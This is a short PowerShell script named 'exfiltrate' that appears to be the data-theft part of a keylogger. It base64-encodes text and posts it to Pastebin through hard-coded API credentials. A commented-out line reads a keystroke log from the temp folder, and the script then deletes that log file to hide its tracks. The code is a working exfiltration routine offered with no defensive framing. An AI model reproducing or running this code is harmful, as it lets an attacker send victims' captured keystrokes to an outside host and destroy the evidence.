exfiltrate

function post_http($url,$parameters)
{
    $http_request = New-Object -ComObject Msxml2.XMLHTTP
    $http_request.open("POST", $url, $false)
    $http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded")
    $http_request.setRequestHeader("Content-length", $parameters.length);
    $http_request.setRequestHeader("Connection", "close")
    $http_request.send($parameters)
    $script:session_key=$http_request.responseText
}

function exfiltrate($text)
{
    $utfbytes  = [System.Text.Encoding]::UTF8.GetBytes($text)
    $pastevalue = [System.Convert]::ToBase64String($utfbytes)
    $pastename = get-date
    $password = "9320c635e6c661f4"
    $username = "bb860f39"
    $dev_key = "be21aa08930d77a9c1242fa84eae3a02"
    post_http "https://pastebin.com/api/api_login.php" "api_dev_key=$dev_key&api_user_name=$username&api_user_password=$password"
    post_http "https://pastebin.com/api/api_post.php" "api_user_key=$session_key&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pastename&api_paste_code=$pastevalue&api_paste_private=2"
}

#$data = get-content $env:TEMP\key.log
$data = "fuck ezra klein"
exfiltrate $data
del $env:TEMP\key.log